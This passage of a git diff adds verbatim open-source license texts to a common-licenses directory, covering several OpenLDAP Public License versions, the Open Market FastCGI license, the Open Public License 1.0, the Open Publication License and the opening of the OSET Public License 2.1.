+OpenLDAP is a trademark of the OpenLDAP Foundation.
+
+Copyright 1999-2000 The OpenLDAP Foundation, Redwood City, California, USA. All Rights Reserved. Permission to copy and distributed verbatim copies of this document is granted.
diff --git a/meta/files/common-licenses/OLDAP-2.4 b/meta/files/common-licenses/OLDAP-2.4
new file mode 100644
index 0000000000..353a553f2a
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-2.4
@@ -0,0 +1,22 @@
+The OpenLDAP Public License
+Version 2.4, 8 December 2000
+
+Redistribution and use of this software and associated documentation ("Software"), with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain copyright statements and notices.
+
+2. Redistributions in binary form must reproduce applicable copyright statements and notices, this list of conditions, and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. Redistributions must contain a verbatim copy of this document.
+
+4. The names and trademarks of the authors and copyright holders must not be used in advertising or otherwise to promote the sale, use or other dealing in this Software without specific, written prior permission.
+
+5. Due credit should be given to the OpenLDAP Project.
+
+6. The OpenLDAP Foundation may revise this license from time to time. Each revision is distinguished by a version number. You may use the Software under terms of this license revision or under the terms of any subsequent revision of the license.
+
+THIS SOFTWARE IS PROVIDED BY THE OPENLDAP FOUNDATION AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OPENLDAP FOUNDATION OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+OpenLDAP is a trademark of the OpenLDAP Foundation.
+
+Copyright 1999-2000 The OpenLDAP Foundation, Redwood City, California, USA. All Rights Reserved. Permission to copy and distributed verbatim copies of this document is granted.
diff --git a/meta/files/common-licenses/OLDAP-2.5 b/meta/files/common-licenses/OLDAP-2.5
new file mode 100644
index 0000000000..98e78e3c7d
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-2.5
@@ -0,0 +1,22 @@
+The OpenLDAP Public License
+Version 2.5, 11 May 2001
+
+Redistribution and use of this software and associated documentation ("Software"), with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain copyright statements and notices.
+
+2. Redistributions in binary form must reproduce applicable copyright statements and notices, this list of conditions, and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. Redistributions must contain a verbatim copy of this document.
+
+4. The names and trademarks of the authors and copyright holders must not be used in advertising or otherwise to promote the sale, use or other dealing in this Software without specific, written prior permission.
+
+5. Due credit should be given to the authors of the Software.
+
+6. The OpenLDAP Foundation may revise this license from time to time. Each revision is distinguished by a version number. You may use the Software under terms of this license revision or under the terms of any subsequent revision of the license.
+
+THIS SOFTWARE IS PROVIDED BY THE OPENLDAP FOUNDATION AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OPENLDAP FOUNDATION, ITS CONTRIBUTORS, OR THE AUTHOR(S) OR OWNER(S) OF THE SOFTWARE BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+OpenLDAP is a trademark of the OpenLDAP Foundation.
+
+Copyright 1999-2001 The OpenLDAP Foundation, Redwood City, California, USA. All Rights Reserved. Permission to copy and distributed verbatim copies of this document is granted.
diff --git a/meta/files/common-licenses/OLDAP-2.6 b/meta/files/common-licenses/OLDAP-2.6
new file mode 100644
index 0000000000..576d81ce84
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-2.6
@@ -0,0 +1,20 @@
+The OpenLDAP Public License
+Version 2.6, 14 June 2001
+
+Redistribution and use of this software and associated documentation ("Software"), with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain copyright statements and notices.
+
+2. Redistributions in binary form must reproduce applicable copyright statements and notices, this list of conditions, and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. Redistributions must contain a verbatim copy of this document.
+
+4. The names and trademarks of the authors and copyright holders must not be used in advertising or otherwise to promote the sale, use or other dealing in this Software without specific, written prior permission.
+
+5. The OpenLDAP Foundation may revise this license from time to time. Each revision is distinguished by a version number. You may use the Software under terms of this license revision or under the terms of any subsequent revision of the license.
+
+THIS SOFTWARE IS PROVIDED BY THE OPENLDAP FOUNDATION AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OPENLDAP FOUNDATION, ITS CONTRIBUTORS, OR THE AUTHOR(S) OR OWNER(S) OF THE SOFTWARE BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+OpenLDAP is a trademark of the OpenLDAP Foundation.
+
+Copyright 1999-2001 The OpenLDAP Foundation, Redwood City, California, USA. All Rights Reserved. Permission to copy and distributed verbatim copies of this document is granted.
diff --git a/meta/files/common-licenses/OLDAP-2.7 b/meta/files/common-licenses/OLDAP-2.7
new file mode 100644
index 0000000000..9ecc91292e
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-2.7
@@ -0,0 +1,20 @@
+The OpenLDAP Public License
+Version 2.7, 7 September 2001
+
+Redistribution and use of this software and associated documentation ("Software"), with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain copyright statements and notices,
+
+2. Redistributions in binary form must reproduce applicable copyright statements and notices, this list of conditions, and the following disclaimer in the documentation and/or other materials provided with the distribution, and
+
+3. Redistributions must contain a verbatim copy of this document.
+
+The OpenLDAP Foundation may revise this license from time to time. Each revision is distinguished by a version number. You may use this Software under terms of this license revision or under the terms of any subsequent revision of the license.
+
+THIS SOFTWARE IS PROVIDED BY THE OPENLDAP FOUNDATION AND ITS CONTRIBUTORS ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OPENLDAP FOUNDATION, ITS CONTRIBUTORS, OR THE AUTHOR(S) OR OWNER(S) OF THE SOFTWARE BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+The names of the authors and copyright holders must not be used in advertising or otherwise to promote the sale, use or other dealing in this Software without specific, written prior permission. Title to copyright in this Software shall at all times remain with copyright holders.
+
+OpenLDAP is a registered trademark of the OpenLDAP Foundation.
+
+Copyright 1999-2001 The OpenLDAP Foundation, Redwood City, California, USA. All Rights Reserved. Permission to copy and distribute verbatim copies of this document is granted.
diff --git a/meta/files/common-licenses/OML b/meta/files/common-licenses/OML
new file mode 100644
index 0000000000..62b6589712
--- /dev/null
+++ b/meta/files/common-licenses/OML
@@ -0,0 +1,5 @@
+This FastCGI application library source and object code (the "Software") and its documentation (the "Documentation") are copyrighted by Open Market, Inc ("Open Market"). The following terms apply to all files associated with the Software and Documentation unless explicitly disclaimed in individual files.
+
+Open Market permits you to use, copy, modify, distribute, and license this Software and the Documentation for any purpose, provided that existing copyright notices are retained in all copies and that this notice is included verbatim in any distributions. No written agreement, license, or royalty fee is required for any of the authorized uses. Modifications to this Software and Documentation may be copyrighted by their authors and need not follow the licensing terms described here. If modifications to this Software and Documentation have new licensing terms, the new terms must be clearly indicated on the first page of each file where they apply.
+
+OPEN MARKET MAKES NO EXPRESS OR IMPLIED WARRANTY WITH RESPECT TO THE SOFTWARE OR THE DOCUMENTATION, INCLUDING WITHOUT LIMITATION ANY WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL OPEN MARKET BE LIABLE TO YOU OR ANY THIRD PARTY FOR ANY DAMAGES ARISING FROM OR RELATING TO THIS SOFTWARE OR THE DOCUMENTATION, INCLUDING, WITHOUT LIMITATION, ANY INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES OR SIMILAR DAMAGES, INCLUDING LOST PROFITS OR LOST DATA, EVEN IF OPEN MARKET HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. THE SOFTWARE AND DOCUMENTATION ARE PROVIDED "AS IS". OPEN MARKET HAS NO LIABILITY IN CONTRACT, TORT, NEGLIGENCE OR OTHERWISE ARISING OUT OF THIS SOFTWARE OR THE DOCUMENTATION.
diff --git a/meta/files/common-licenses/OPL-1.0 b/meta/files/common-licenses/OPL-1.0
new file mode 100644
index 0000000000..4d4fa3a6ed
--- /dev/null
+++ b/meta/files/common-licenses/OPL-1.0
@@ -0,0 +1,136 @@
+OPEN PUBLIC LICENSE
+Version 1.0
+
+1. Definitions.
+
+ 1.1. "Contributor" means each entity that creates or contributes to the creation of Modifications.
+
+ 1.2. "Contributor Version" means the combination of the Original Code, prior Modifications used by a Contributor, and the Modifications made by that particular Contributor.
+
+ 1.3. "Covered Code" means the Original Code or Modifications or the combination of the Original Code and Modifications, in each case including portions thereof.
+
+ 1.4. "Electronic Distribution Mechanism" means a mechanism generally accepted in the software development community for the electronic transfer of data.
+
+ 1.5. "Executable" means Covered Code in any form other than Source Code.
+
+ 1.6. "Initial Developer" means the individual or entity identified as the Initial Developer in the Source Code notice required by Exhibit A.
+
+ 1.7. "Larger Work" means a work, which combines Covered Code or portions thereof with code not governed by the terms of this License.
+
+ 1.8. "License" means this document and the corresponding addendum described in section 6.4 below.
+
+ 1.9. "Modifications" means any addition to or deletion from the substance or structure of either the Original Code or any previous Modifications. When Covered Code is released as a series of files, a Modification is:
+
+ A. Any addition to or deletion from the contents of a file containing Original Code or previous Modifications.
+
+ B. Any new file that contains any part of the Original Code or previous Modifications.
+
+ 1.10. "Original Code" means Source Code of computer software code which is described in the Source Code notice required by Exhibit A as Original Code, and which, at the time of its release under this License is not already Covered Code governed by this License.
+
+ 1.11. "Source Code" means the preferred form of the Covered Code for making modifications to it, including all modules it contains, plus any associated interface definition files, scripts used to control compilation and installation of an Executable, or a list of source code differential comparisons against either the Original Code or another well known, available Covered Code of the Contributor's choice. The Source Code can be in a compressed or archival form, provided the appropriate decompression or de-archiving software is widely available for no charge.
+
+ 1.12. "You" means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 6.1. For legal entities, "You'' includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, "control'' means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of fifty percent (50%) or more of the outstanding shares or beneficial ownership of such entity.
+
+ 1.13 "License Author" means Lutris Technologies, Inc.
+
+2. Source Code License.
+
+ 2.1. The Initial Developer Grant. The Initial Developer hereby grants You a worldwide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+
+ (a) under intellectual property rights (other than patent or trademark) to use, reproduce, modify, display, perform, sublicense and distribute the Original Code (or portions thereof) with or without Modifications, or as part of a Larger Work; and
+
+ (b) under patents now or hereafter owned or controlled by Initial Developer, to make, have made, use and sell (``offer to sell and import'') the Original Code (or portions thereof), but solely to the extent that any such patent is reasonably necessary to enable You to Utilize the Original Code (or portions thereof) and not to any greater extent that may be necessary to Utilize further Modifications or combinations.
+
+ 2.2. Contributor Grant. Each Contributor hereby grants You a worldwide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+
+ (a) under intellectual property rights (other than patent or trademark) to use, reproduce, modify, display, perform, sublicense and distribute the Modifications created by such Contributor (or portions thereof) either on an unmodified basis, with other Modifications, as Covered Code or as part of a Larger Work; and
+
+ (b) under patents now or hereafter owned or controlled by Contributor, to to make, have made, use and sell (``offer to sell and import'') the Contributor Version (or portions thereof), but solely to the extent that any such patent is reasonably necessary to enable You to Utilize the Contributor Version (or portions thereof), and not to any greater extent that may be necessary to Utilize further Modifications or combinations
+
+3. Distribution Obligations.
+
+ 3.1. Application of License. The Modifications which You create or to which You contribute are governed by the terms of this License, including without limitation Section 2.2. The Source Code version of Covered Code may be distributed only under the terms of this License or a future version of this License released under Section 6.1, and You must include a copy of this License with every copy of the Source Code You distribute. You may not offer or impose any terms on any Source Code version that alters or restricts the applicable version of this License or the recipients' rights hereunder. However, You may include an additional document offering the additional rights described in Section 3.5.
+
+ 3.2. Availability of Source Code. Any Modification which You create or to which You contribute must be made available, prior to any use, except for internal development and practice, in Source Code form under the terms of this License either on the same media as an Executable version or via an accepted Electronic Distribution Mechanism to anyone to whom you made an Executable version available; and if made available via Electronic Distribution Mechanism, must remain available for at least twelve (12) months after the date it initially became available, or at least six (6) months after a subsequent version of that particular Modification has been made available to such recipients. You shall notify the Initial Developer of the Modification and the location of the Source Code via the contact means provided for in the Developer Specific license. Initial Developer will be acting as maintainer of the Source Code and may provide an Electronic Distribution mechanism for the Modification to be made available.
+
+ 3.3. Description of Modifications. You must cause all Covered Code to which you contribute to contain a file documenting the changes You made to create that Covered Code and the date of any change. You must include a prominent statement that the Modification is derived, directly or indirectly, from Original Code provided by the Initial Developer and including the name of the Initial Developer in (a) the Source Code, and (b) in any notice in an Executable version or related documentation in which You describe the origin or ownership of the Covered Code.
+
+ 3.4. Intellectual Property Matters
+
+ (a) Third Party Claims. If You have knowledge that a party claims an intellectual property right in particular functionality or code (or its utilization under this License), you must include a text file with the source code distribution titled "LEGAL" which describes the claim and the party making the claim in sufficient detail that a recipient will know whom to contact. If you obtain such knowledge after You make Your Modification available as described in Section 3.2, You shall promptly modify the LEGAL file in all copies You make available thereafter and shall take other steps (such as notifying appropriate mailing lists or newsgroups) reasonably calculated to inform those who received the Covered Code that new knowledge has been obtained.
+
+ (b) Representations. Contributor represents that, except as disclosed pursuant to Section 3.4(a) above, Contributor believes that Contributor's Modifications are Contributor's original creation(s) and/or Contributor has sufficient rights to grant the rights conveyed by this License.
+
+ 3.5. Required Notices. You must duplicate the notice in Exhibit A in each file of the Source Code, and this License in any documentation for the Source Code, where You describe recipients' rights relating to Covered Code. If You created one or more Modification(s), You may add your name as a Contributor to the notice described in Exhibit A. If it is not possible to put such notice in a particular Source Code file due to its structure, then you must include such notice in a location (such as a relevant directory file) where a user would be likely to look for such a notice. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Code. However, You may do so only on Your own behalf, and not on behalf of the Initial Developer or any Contributor. You must make it absolutely clear that any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of warranty, support, indemnity or liability terms You offer.
+
+ 3.6. Distribution of Executable Versions. You may distribute Covered Code in Executable form only if the requirements of Section 3.1-3.5 have been met for that Covered Code, and if You include a notice stating that the Source Code version of the Covered Code is available under the terms of this License, including a description of how and where You have fulfilled the obligations of Section 3.2. The notice must be conspicuously included in any notice in an Executable version, related documentation or collateral in which You describe recipients' rights relating to the Covered Code. You may distribute the Executable version of Covered Code under a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License and that the license for the Executable version does not attempt to limit or alter the recipient's rights in the Source Code version from the rights set forth in this License. If You distribute the Executable version under a different license You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer or any Contributor. You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of any such terms You offer. If you distribute executable versions containing Covered Code, you must reproduce the notice in Exhibit B in the documentation and/or other materials provided with the product.
+
+ 3.7. Larger Works. You may create a Larger Work by combining Covered Code with other code not governed by the terms of this License and distribute the Larger Work as a single product. In such a case, You must make sure the requirements of this License are fulfilled for the Covered Code.
+
+4. Inability to Comply Due to Statute or Regulation.
+
+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Covered Code due to statute or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) Cite all of the statutes or regulations that prohibit you from complying fully with this license. (c) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 3.4 and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5. Application of this License.
+
+This License applies to code to which the Initial Developer has attached the notice in Exhibit A, and to related Covered Code.
+
+6. Versions of the License.
+
+ 6.1. New Versions. License Author may publish revised and/or new versions of the License from time to time. Each version will be given a distinguishing version number and shall be submitted to opensource.org for certification.
+
+ 6.2. Effect of New Versions. Once Covered Code has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Covered Code under the terms of any subsequent version of the License published by Initial Developer. No one other than Initial Developer has the right to modify the terms applicable to Covered Code created under this License.
+
+ 6.3. Derivative Works. If you create or use a modified version of this License, except in association with the required Developer Specific License described in section 6.4, (which you may only do in order to apply it to code which is not already Covered Code governed by this License), you must (a) rename Your license so that the phrases ``Open'', ``OpenPL'', ``OPL'' or any confusingly similar phrase do not appear anywhere in your license and (b) otherwise make it clear that your version of the license contains terms which differ from the Open Public License. (Filling in the name of the Initial Developer, Original Code or Contributor in the notice described in Exhibit A shall not of themselves be deemed to be modifications of this License.)
+
+ 6.4. Required Additional Developer Specific License
+This license is a union of the following two parts that should be found as text files in the same place (directory), in the order of preeminence:
+
+ [1] A Developer specific license.
+
+ [2] The contents of this file OPL_1_0.TXT, stating the general licensing policy of the software.
+
+In case of conflicting dispositions in the parts of this license, the terms of the lower-numbered part will always be superseded by the terms of the higher numbered part.
+
+7. DISCLAIMER OF WARRANTY.
+
+COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE COVERED CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED CODE IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+8. TERMINATION.
+
+ 8.1 Termination upon Breach
+This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within 30 days of becoming aware of the breach. All sublicenses to the Covered Code, which are properly granted, shall survive any termination of this License. Provisions that, by their nature, must remain in effect beyond the termination of this License shall survive.
+
+ 8.2. Termination Upon Litigation. If You initiate litigation by asserting a patent infringement claim (excluding declatory judgment actions) against Initial Developer or a Contributor (the Initial Developer or Contributor against whom You file such action is referred to as "Participant") alleging that:
+
+ (a) such Participant's Contributor Version directly or indirectly infringes any patent, then any and all rights granted by such Participant to You under Sections 2.1 and/or 2.2 of this License shall, upon 60 days notice from Participant terminate prospectively, unless if within 60 days after receipt of notice You either: (i) agree in writing to pay Participant a mutually agreeable reasonable royalty for Your past and future use of Modifications made by such Participant, or (ii) withdraw Your litigation claim with respect to the Contributor Version against such Participant. If within 60 days of notice, a reasonable royalty and payment arrangement are not mutually agreed upon in writing by the parties or the litigation claim is not withdrawn, the rights granted by Participant to You under Sections 2.1 and/or 2.2 automatically terminate at the expiration of the 60 day notice period specified above.
+
+ (b) any software, hardware, or device, other than such Participant's Contributor Version, directly or indirectly infringes any patent, then any rights granted to You by such Participant under Sections 2.1(b) and 2.2(b) are revoked effective as of the date You first made, used, sold, distributed, or had made, Modifications made by that Participant.
+
+ 8.3. If You assert a patent infringement claim against Participant alleging that such Participant's Contributor Version directly or indirectly infringes any patent where such claim is resolved (such as by license or settlement) prior to the initiation of patent infringement litigation, then the reasonable value of the licenses granted by such Participant under Sections 2.1 or 2.2 shall be taken into account in determining the amount or value of any payment or license.
+
+ 8.4. In the event of termination under Sections 8.1 or 8.2 above, all end user license agreements (excluding distributors and resellers) which have been validly granted by You or any distributor hereunder prior to termination shall survive termination.
+
+9. LIMITATION OF LIABILITY.
+
+UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL THE INITIAL DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED CODE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO YOU OR ANY OTHER PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THAT EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+10. U.S. GOVERNMENT END USERS.
+
+The Covered Code is a ``commercial item,'' as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of ``commercial computer software'' and ``commercial computer software documentation,'' as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Covered Code with only those rights set forth herein.
+
+11. MISCELLANEOUS.
+
+ his section was intentionally left blank. The contents of this section are found in the corresponding addendum described above.
+
+12. RESPONSIBILITY FOR CLAIMS.
+
+Except in cases where another Contributor has failed to comply with Section 3.4, You are responsible for damages arising, directly or indirectly, out of Your utilization of rights under this License, based on the number of copies of Covered Code you made available, the revenues you received from utilizing such rights, and other relevant factors. You agree to work with affected parties to distribute with Initial Developer responsibility on an equitable basis.
+
+EXHIBIT A.
+
+Text for this Exhibit A is found in the corresponding addendum, described in section 6.4 above, text file provided by the Initial Developer. This license is not valid or complete with out that file.
+
+EXHIBIT B.
+
+Text for this Exhibit B is found in the corresponding addendum, described in section 6.4 above, text file provided by the Initial Developer. This license is not valid or complete with out that file.
diff --git a/meta/files/common-licenses/OPUBL-1.0 b/meta/files/common-licenses/OPUBL-1.0
new file mode 100644
index 0000000000..1386621e0f
--- /dev/null
+++ b/meta/files/common-licenses/OPUBL-1.0
@@ -0,0 +1,78 @@
+Open Publication License
+
+v1.0, 8 June 1999
+
+I. REQUIREMENTS ON BOTH UNMODIFIED AND MODIFIED VERSIONS
+
+The Open Publication works may be reproduced and distributed in whole or in part, in any medium physical or electronic, provided that the terms of this license are adhered to, and that this license or an incorporation of it by reference (with any options elected by the author(s) and/or publisher) is displayed in the reproduction.
+
+Proper form for an incorporation by reference is as follows:
+
+ Copyright (c) <year> by <author's name or designee>. This material may be distributed only subject to the terms and conditions set forth in the Open Publication License, vX.Y or later (the latest version is presently available at http://www.opencontent.org/openpub/).
+
+The reference must be immediately followed with any options elected by the author(s) and/or publisher of the document (see section VI).
+
+Commercial redistribution of Open Publication-licensed material is permitted.
+
+Any publication in standard (paper) book form shall require the citation of the original publisher and author. The publisher and author's names shall appear on all outer surfaces of the book. On all outer surfaces of the book the original publisher's name shall be as large as the title of the work and cited as possessive with respect to the title.
+
+II. COPYRIGHT
+
+The copyright to each Open Publication is owned by its author(s) or designee.
+
+III. SCOPE OF LICENSE
+
+The following license terms apply to all Open Publication works, unless otherwise explicitly stated in the document.
+
+Mere aggregation of Open Publication works or a portion of an Open Publication work with other works or programs on the same media shall not cause this license to apply to those other works. The aggregate work shall contain a notice specifying the inclusion of the Open Publication material and appropriate copyright notice.
+
+SEVERABILITY. If any part of this license is found to be unenforceable in any jurisdiction, the remaining portions of the license remain in force.
+
+NO WARRANTY. Open Publication works are licensed and provided "as is" without warranty of any kind, express or implied, including, but not limited to, the implied warranties of merchantability and fitness for a particular purpose or a warranty of non-infringement.
+
+IV. REQUIREMENTS ON MODIFIED WORKS
+
+All modified versions of documents covered by this license, including translations, anthologies, compilations and partial documents, must meet the following requirements:
+ 1. The modified version must be labeled as such.
+ 2. The person making the modifications must be identified and the modifications dated.
+ 3. Acknowledgement of the original author and publisher if applicable must be retained according to normal academic citation practices.
+ 4. The location of the original unmodified document must be identified.
+ 5. The original author's (or authors') name(s) may not be used to assert or imply endorsement of the resulting document without the original author's (or authors') permission.
+
+V. GOOD-PRACTICE RECOMMENDATIONS
+
+In addition to the requirements of this license, it is requested from and strongly recommended of redistributors that:
+ 1. If you are distributing Open Publication works on hardcopy or CD-ROM, you provide email notification to the authors of your intent to redistribute at least thirty days before your manuscript or media freeze, to give the authors time to provide updated documents. This notification should describe modifications, if any, made to the document.
+ 2. All substantive modifications (including deletions) be either clearly marked up in the document or else described in an attachment to the document.
+ 3. Finally, while it is not mandatory under this license, it is considered good form to offer a free copy of any hardcopy and CD-ROM expression of an Open Publication-licensed work to its author(s).
+
+VI. LICENSE OPTIONS
+
+The author(s) and/or publisher of an Open Publication-licensed document may elect certain options by appending language to the reference to or copy of the license. These options are considered part of the license instance and must be included with the license (or its incorporation by reference) in derived works.
+
+A. To prohibit distribution of substantively modified versions without the explicit permission of the author(s). "Substantive modification" is defined as a change to the semantic content of the document, and excludes mere changes in format or typographical corrections.
+
+To accomplish this, add the phrase `Distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder.' to the license reference or copy.
+
+B. To prohibit any publication of this work or derivative works in whole or in part in standard (paper) book form for commercial purposes is prohibited unless prior permission is obtained from the copyright holder.
+
+To accomplish this, add the phrase 'Distribution of the work or derivative of the work in any standard (paper) book form is prohibited unless prior permission is obtained from the copyright holder.' to the license reference or copy.
+
+OPEN PUBLICATION POLICY APPENDIX:
+
+(This is not considered part of the license.)
+
+Open Publication works are available in source format via the Open Publication home page at http://works.opencontent.org/.
+
+Open Publication authors who want to include their own license on Open Publication works may do so, as long as their terms are not more restrictive than the Open Publication license.
+
+If you have questions about the Open Publication License, please contact David Wiley, and/or the Open Publication Authors' List at opal@opencontent.org, via email.
+
+To subscribe to the Open Publication Authors' List:
+Send E-mail to opal-request@opencontent.org with the word "subscribe" in the body.
+
+To post to the Open Publication Authors' List:
+Send E-mail to opal@opencontent.org or simply reply to a previous post.
+
+To unsubscribe from the Open Publication Authors' List:
+Send E-mail to opal-request@opencontent.org with the word "unsubscribe" in the body.
diff --git a/meta/files/common-licenses/OSET-PL-2.1 b/meta/files/common-licenses/OSET-PL-2.1
new file mode 100644
index 0000000000..15f0c7758c
--- /dev/null
+++ b/meta/files/common-licenses/OSET-PL-2.1
@@ -0,0 +1,161 @@
+OSET Public License
+(c) 2015 ALL RIGHTS RESERVED VERSION 2.1
+
